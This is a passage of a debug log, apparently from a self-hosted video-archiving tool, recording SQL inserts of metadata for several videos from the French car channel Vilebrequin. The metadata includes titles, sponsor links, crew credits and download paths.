(?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à NordVPN pour leur soutien, pour toute souscription à l’abonnement 2 ans, obtenez 4 mois supplémentaires gratuits. Profitez-en dès maintenant : 👉 https://nordvpn.com/vilebrequin\n\nMerci à Joyca et Seb pour leur présence ( et le sacrifice de leur vie )\n\nChaîne de Joyca : https://www.youtube.com/@Joyca\nChaine de Seb : https://www.youtube.com/@SEBFRIT\n\n-------------------------------------------------------------------\n\nUn immense merci à toute l'équipe de tournage :\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Pierre BOUILLOT\nAssistant OPV : Axel ROGUET\nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Baptiste SEYSEN et Alexandra COLLARO\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nEt la spéciale dédicace aux dépanneurs Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nAinsi qu'à l'entreprise NOBLET pour le salon suspendu et ce canapé plus que confortable. \n\n-------------------------------------------------------------------\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#CONCEPT #DESTRUCTION #MUTUELLE", "IL N’EN RESTERA QU’UN (ft. Joyca & Seb la frite)", "ae1f8bdc-38aa-42fa-82b4-8a2c6a60384a", "hBV07QvRuoA", 2986, false, "https://www.youtube.com/watch?v=hBV07QvRuoA", 14, "/downloads/Vilebrequin/2023-09-07 IL N’EN RESTERA QU’UN (ft. Joyca & Seb la frite)/IL N’EN RESTERA QU’UN (ft. Joyca & Seb la frite) [hBV07QvRuoA].mkv", false, false, false, 1, [], 98, ~U[2023-09-07 16:15:03Z], ~U[2026-04-19 05:42:11Z], ~U[2026-04-19 05:42:11Z], "Merci à NordVPN pour leur soutien, pour toute souscription à l’abonnement 2 ans, obtenez 4 mois supplémentaires gratuits. Profitez-en dès maintenant : 👉 https://nordvpn.com/vilebrequin\n\nMerci à Joyca et Seb pour leur présence ( et le sacrifice de leur vie )\n\nChaîne de Joyca : https://www.youtube.com/@Joyca\nChaine de Seb : https://www.youtube.com/@SEBFRIT\n\n-------------------------------------------------------------------\n\nUn immense merci à toute l'équipe de tournage :\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Pierre BOUILLOT\nAssistant OPV : Axel ROGUET\nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Baptiste SEYSEN et Alexandra COLLARO\nMontage : Baptiste Moal ( https://www.instagram.com/bapt.ml/ )\n\nEt la spéciale dédicace aux dépanneurs Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nAinsi qu'à l'entreprise NOBLET pour le salon suspendu et ce canapé plus que confortable. \n\n-------------------------------------------------------------------\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#CONCEPT #DESTRUCTION #MUTUELLE", "IL N’EN RESTERA QU’UN (ft. Joyca & Seb la frite)", "hBV07QvRuoA", 2986, false, "https://www.youtube.com/watch?v=hBV07QvRuoA", "/downloads/Vilebrequin/2023-09-07 IL N’EN RESTERA QU’UN (ft. Joyca & Seb la frite)/IL N’EN RESTERA QU’UN (ft. Joyca & Seb la frite) [hBV07QvRuoA].mkv", false, 1, ~U[2023-09-07 16:15:03Z]] 07:42:11.837 [debug] QUERY OK source="sources" db=1.8ms idle=17.7ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:11.844 [debug] QUERY OK source="media_items" db=5.7ms queue=0.2ms idle=16.1ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-27 16:15:01Z], 1] 07:42:11.847 [debug] QUERY OK source="media_items" db=2.3ms idle=20.4ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à Rhinoshield pour leur soutien : -10% avec le code VILEBREQUIN ( valable 48h )\n👉👉👉 https://url.rhinoshield.fr/vilebrequin-aquastand \n\n-------------------------------------------------------------------\n\nUn IMMENSE merci au L' Aventure Citroën qui nous a mis à disposition cette exceptionnelle C6.\nCette C6 est visible dans l'exposition à Aulnay-sous-bois (93), billets dispos ci-dessous 👇\n\nLe site : https://laventure-association.com/laventure-citroen/\nInstagram : https://www.instagram.com/citroenheritage/\n\nMerci au circuit de l'Ouest Parisien à Dreux pour le prêt du circuit\nhttps://www.circuitouestparisien.com\nhttps://www.instagram.com/circuitsouestparisien/\n\nEt merci à Anaëlle LE MAGOROU, Lucas MARTIN et Cassandra BORIE pour leur aide sur ce tournage\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMontage : Baptiste Moal\nInstagram : @alkalineproductions\n\nMontage sponso : Robin Danos\nInstagram : @robin_danos\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#C6 #FLOP #PASMALNON", "Essai Citroën C6 : Pas mal non ? C'est Français", "7221b10e-84d7-4a63-8f90-2eef56bbb2aa", "d3t6QXY-1vg", 1962, false, "https://www.youtube.com/watch?v=d3t6QXY-1vg", 15, "/downloads/Vilebrequin/2023-07-27 Essai Citroën C6 : Pas mal non ? C'est Français/Essai Citroën C6 : Pas mal non ? C'est Français [d3t6QXY-1vg].mkv", false, false, false, 1, [], 98, ~U[2023-07-27 16:15:01Z], ~U[2026-04-19 05:42:11Z], ~U[2026-04-19 05:42:11Z], "Merci à Rhinoshield pour leur soutien : -10% avec le code VILEBREQUIN ( valable 48h )\n👉👉👉 https://url.rhinoshield.fr/vilebrequin-aquastand \n\n-------------------------------------------------------------------\n\nUn IMMENSE merci au L' Aventure Citroën qui nous a mis à disposition cette exceptionnelle C6.\nCette C6 est visible dans l'exposition à Aulnay-sous-bois (93), billets dispos ci-dessous 👇\n\nLe site : https://laventure-association.com/laventure-citroen/\nInstagram : https://www.instagram.com/citroenheritage/\n\nMerci au circuit de l'Ouest Parisien à Dreux pour le prêt du circuit\nhttps://www.circuitouestparisien.com\nhttps://www.instagram.com/circuitsouestparisien/\n\nEt merci à Anaëlle LE MAGOROU, Lucas MARTIN et Cassandra BORIE pour leur aide sur ce tournage\n\n-------------------------------------------------------------------\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMontage : Baptiste Moal\nInstagram : @alkalineproductions\n\nMontage sponso : Robin Danos\nInstagram : @robin_danos\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#C6 #FLOP #PASMALNON", "Essai Citroën C6 : Pas mal non ? C'est Français", "d3t6QXY-1vg", 1962, false, "https://www.youtube.com/watch?v=d3t6QXY-1vg", "/downloads/Vilebrequin/2023-07-27 Essai Citroën C6 : Pas mal non ? C'est Français/Essai Citroën C6 : Pas mal non ? C'est Français [d3t6QXY-1vg].mkv", false, 1, ~U[2023-07-27 16:15:01Z]] 07:42:11.848 [debug] QUERY OK source="sources" db=0.7ms idle=18.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:11.852 [debug] QUERY OK source="media_items" db=3.4ms idle=14.5ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-20 16:15:01Z], 1] 07:42:11.857 [debug] QUERY OK source="media_items" db=3.0ms idle=15.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["Merci à World of Tanks de nous soutenir. Clique sur ce lien pour tenter ta chance de remporter deux invitations pour le GP Explorer 2 : https://tanks.ly/46BdEAk\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Raphaël CHICHE \nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Thierry Marat et François Chatal\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\nMontage Sponso : Romain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\nEt la spéciale dédicace aux dépanneurs Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nMerci à l'aérodrome de Brienne Le Château, et en particulier Nathalie, pour la location de la piste\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#CPT #DRIFT #EXPLOSION", "Rouler sous-gonflé ou sur-gonflé : ÇA FAIT QUOI ?", "4bb69120-fc0e-466d-adfc-185591385833", "YmAToqpmkv8", 1865, false, "https://www.youtube.com/watch?v=YmAToqpmkv8", 16, "/downloads/Vilebrequin/2023-07-20 Rouler sous-gonflé ou sur-gonflé : ÇA FAIT QUOI ?/Rouler sous-gonflé ou sur-gonflé : ÇA FAIT QUOI ? [YmAToqpmkv8].mkv", false, false, false, 1, [], 98, ~U[2023-07-20 16:15:01Z], ~U[2026-04-19 05:42:11Z], ~U[2026-04-19 05:42:11Z], "Merci à World of Tanks de nous soutenir. Clique sur ce lien pour tenter ta chance de remporter deux invitations pour le GP Explorer 2 : https://tanks.ly/46BdEAk\n\n👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC et Raphaël CHICHE \nSon : Alan POIRIER\nDrone : Adrien LOISON\nRégisseur plateau : Thierry Marat et François Chatal\n\nMontage : Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\nMontage Sponso : Romain ( Prospère ) Desveaux \nTwitter : https://twitter.com/ProspereLucel\n\nEt la spéciale dédicace aux dépanneurs Joseph SHUMAN et Arthur MORAULT \nInstagram : https://www.instagram.com/lafabriqueauto/\n\nMerci à l'aérodrome de Brienne Le Château, et en particulier Nathalie, pour la location de la piste\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#CPT #DRIFT #EXPLOSION", "Rouler sous-gonflé ou sur-gonflé : ÇA FAIT QUOI ?", "YmAToqpmkv8", 1865, false, "https://www.youtube.com/watch?v=YmAToqpmkv8", "/downloads/Vilebrequin/2023-07-20 Rouler sous-gonflé ou sur-gonflé : ÇA FAIT QUOI ?/Rouler sous-gonflé ou sur-gonflé : ÇA FAIT QUOI ? [YmAToqpmkv8].mkv", false, 1, ~U[2023-07-20 16:15:01Z]] 07:42:11.858 [debug] QUERY OK source="sources" db=0.8ms queue=0.2ms idle=13.6ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:11.862 [debug] QUERY OK source="media_items" db=3.7ms queue=0.1ms idle=12.0ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-13 16:15:00Z], 1] 07:42:11.890 [debug] QUERY OK source="media_items" db=26.3ms idle=14.8ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci à Antoine pour le prêt de ce très bel exemplaire \nInsta : @leyoungcollector\n\nMerci à l'autodrome de UTAC Linas Monthléry pour le prêt de la piste : \nLe site : https://www.parisautoevents.com/autodrome-de-linas-montlhery\nInstagram : https://www.instagram.com/autodrome_linas_montlhery/\n\nMerci à notre team : \nÀ la prod Cassandra Borie et Anaelle Le Magorou\nEt au cadre Lucas Martin \n\nMontage : Thibault Iacoco et Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous.\n\n#Porsche #Boxster #Cabriolet", "Essai Porsche Boxster S : La Porsche du pauvre ?", "98ace3a3-7383-40fe-a65e-59191c9c4ca4", "8IfCOzSIvKE", 1558, false, "https://www.youtube.com/watch?v=8IfCOzSIvKE", 17, "/downloads/Vilebrequin/2023-07-13 Essai Porsche Boxster S : La Porsche du pauvre ?/Essai Porsche Boxster S : La Porsche du pauvre ? [8IfCOzSIvKE].mkv", false, false, false, 1, [], 98, ~U[2023-07-13 16:15:00Z], ~U[2026-04-19 05:42:11Z], ~U[2026-04-19 05:42:11Z], "👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nMerci à Antoine pour le prêt de ce très bel exemplaire \nInsta : @leyoungcollector\n\nMerci à l'autodrome de UTAC Linas Monthléry pour le prêt de la piste : \nLe site : https://www.parisautoevents.com/autodrome-de-linas-montlhery\nInstagram : https://www.instagram.com/autodrome_linas_montlhery/\n\nMerci à notre team : \nÀ la prod Cassandra Borie et Anaelle Le Magorou\nEt au cadre Lucas Martin \n\nMontage : Thibault Iacoco et Lukasz Sledziewski \nTwitter : https://twitter.com/LukyKRN\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\nMerci au sang de la veine depuis ( presque ) le début :\nhttp://nordvpn.com/1000tipla\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous.\n\n#Porsche #Boxster #Cabriolet", "Essai Porsche Boxster S : La Porsche du pauvre ?", "8IfCOzSIvKE", 1558, false, "https://www.youtube.com/watch?v=8IfCOzSIvKE", "/downloads/Vilebrequin/2023-07-13 Essai Porsche Boxster S : La Porsche du pauvre ?/Essai Porsche Boxster S : La Porsche du pauvre ? [8IfCOzSIvKE].mkv", false, 1, ~U[2023-07-13 16:15:00Z]] 07:42:11.892 [debug] QUERY OK source="sources" db=1.8ms idle=38.1ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", s0."fast_index", s0."cookie_behaviour", s0."download_media", s0."last_indexed_at", s0."download_cutoff_date", s0."retention_period_days", s0."original_url", s0."title_filter_regex", s0."output_path_template_override", s0."min_duration_seconds", s0."max_duration_seconds", s0."series_directory", s0."nfo_filepath", s0."poster_filepath", s0."fanart_filepath", s0."banner_filepath", s0."marked_for_deletion_at", s0."media_profile_id", s0."inserted_at", s0."updated_at" FROM "sources" AS s0 WHERE (s0."id" = ?) [1] 07:42:11.903 [debug] QUERY OK source="media_items" db=10.9ms idle=36.9ms SELECT min(m0."upload_date_index") FROM "media_items" AS m0 WHERE (date(m0."uploaded_at") = date(?) AND (m0."source_id" = ?)) [~U[2023-07-06 16:15:02Z], 1] 07:42:11.907 [debug] QUERY OK source="media_items" db=2.7ms idle=45.7ms INSERT INTO "media_items" AS m0 ("description","title","uuid","media_id","duration_seconds","livestream","original_url","playlist_index","predicted_media_filepath","prevent_culling","prevent_download","short_form_content","source_id","subtitle_filepaths","upload_date_index","uploaded_at","inserted_at","updated_at") VALUES (?1,?2,?3,?4,?5,?6,?7,?8,?9,?10,?11,?12,?13,?14,?15,?16,?17,?18) ON CONFLICT ("source_id","media_id") DO UPDATE SET "description" = ?, "title" = ?, "media_id" = ?, "duration_seconds" = ?, "livestream" = ?, "original_url" = ?, "predicted_media_filepath" = ?, "short_form_content" = ?, "source_id" = ?, "uploaded_at" = ? RETURNING "id" ["👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nUn immense merci à l'ACO et spécialement à Jean et Sylvain d'avoir rendu le projet possible.\nInsta 👉 https://instagram.com/24heuresdumans/\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC, Vincent CORDIER, Léon EXBRAYAT et Joachim LARRIEU\nSon : Alan POIRIER\n\nL'équipe de Camera Rover : Pierre Stanislas PASCALIE et Mathieu MULLER\nInsta 👉 https://instagram.com/camerarover/\n\nLes équipes de W-Autosport comme d'habitude pour leur sérieux et leur pilote Séverine qui était au volant de la camera car.\nInsta 👉 https://www.instagram.com/wautosport/\n\nMontage : Baptiste Moal \nInsta 👉 https://www.instagram.com/alkalineproductions/ \n\nMerci spécial à Vivien notre comptable fou pour le prêt de la 997 Turbo prépa GT2RS qu'on fume allègrement. \nInsta 👉 https://instagram.com/ceos_developpement/\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#VMAX #HUNAUDIÈRES #24HLEMANS", "On atteint la V-MAX du 1000tipla sur les Hunaudières", "9828b2cb-4ffd-432e-9576-b117f3770a57", "oN772QacXLs", 1557, false, "https://www.youtube.com/watch?v=oN772QacXLs", 18, "/downloads/Vilebrequin/2023-07-06 On atteint la V-MAX du 1000tipla sur les Hunaudières/On atteint la V-MAX du 1000tipla sur les Hunaudières [oN772QacXLs].mkv", false, false, false, 1, [], 98, ~U[2023-07-06 16:15:02Z], ~U[2026-04-19 05:42:11Z], ~U[2026-04-19 05:42:11Z], "👍 POUCE BLEU, ABONNE TOI ET METS LA CLOCHE 🛎️\n\nPour nous suivre sur les réseaux :\n\n📲 INSTAGRAM https://www.instagram.com/vbrequin/\n📲 TWITTER https://twitter.com/VilebrequinAuto\n\n⚠️⚠️ Nos stickers, porte-clés et t-shirts ⚠️⚠️\nhttps://www.shop.benzin.fr/vilebrequin\n\n-------------------------------------------------------------------\n\nUn immense merci à l'ACO et spécialement à Jean et Sylvain d'avoir rendu le projet possible.\nInsta 👉 https://instagram.com/24heuresdumans/\n\nProduction : Anaëlle LE MAGOROU et Cassandra BORIE\nAgent : Joséphine GODARD\nOPV : Lucas MARTIN, Hugo LECLERC, Vincent CORDIER, Léon EXBRAYAT et Joachim LARRIEU\nSon : Alan POIRIER\n\nL'équipe de Camera Rover : Pierre Stanislas PASCALIE et Mathieu MULLER\nInsta 👉 https://instagram.com/camerarover/\n\nLes équipes de W-Autosport comme d'habitude pour leur sérieux et leur pilote Séverine qui était au volant de la camera car.\nInsta 👉 https://www.instagram.com/wautosport/\n\nMontage : Baptiste Moal \nInsta 👉 https://www.instagram.com/alkalineproductions/ \n\nMerci spécial à Vivien notre comptable fou pour le prêt de la 997 Turbo prépa GT2RS qu'on fume allègrement. \nInsta 👉 https://instagram.com/ceos_developpement/\n\n-------------------------------------------------------------------\n\nMerci de nous contacter par mail UNIQUEMENT pour des raisons professionnelles (propositions de voiture que vous possédez ou partenariats commerciaux uniquement), les autres sujets ne seront pas répondus (on a les réseaux pour ça)\n\n📩 MAIL : vbrequin@gmail.com\n\nPour les propositions de voitures à essayer, merci de joindre une photo et une localisation, bisous\n\n--------------------------------------------------------------------\n\nMerci à tous les contributeurs depuis le début de la chaîne, vous êtes des dinguos.\n\nGros bisous\n\n#VMAX #HUNAUDIÈRES #24HLEMANS", "On atteint la V-MAX du 1000tipla sur les Hunaudières", "oN772QacXLs", 1557, false, "https://www.youtube.com/watch?v=oN772QacXLs", "/downloads/Vilebrequin/2023-07-06 On atteint la V-MAX du 1000tipla sur les Hunaudières/On atteint la V-MAX du 1000tipla sur les Hunaudières [oN772QacXLs].mkv", false, 1, ~U[2023-07-06 16:15:02Z]] 07:42:11.909 [debug] QUERY OK source="sources" db=1.0ms idle=45.2ms SELECT s0."id", s0."enabled", s0."uuid", s0."custom_name", s0."description", s0."collection_name", s0."collection_id", s0."collection_type", s0."index_frequency_minutes", 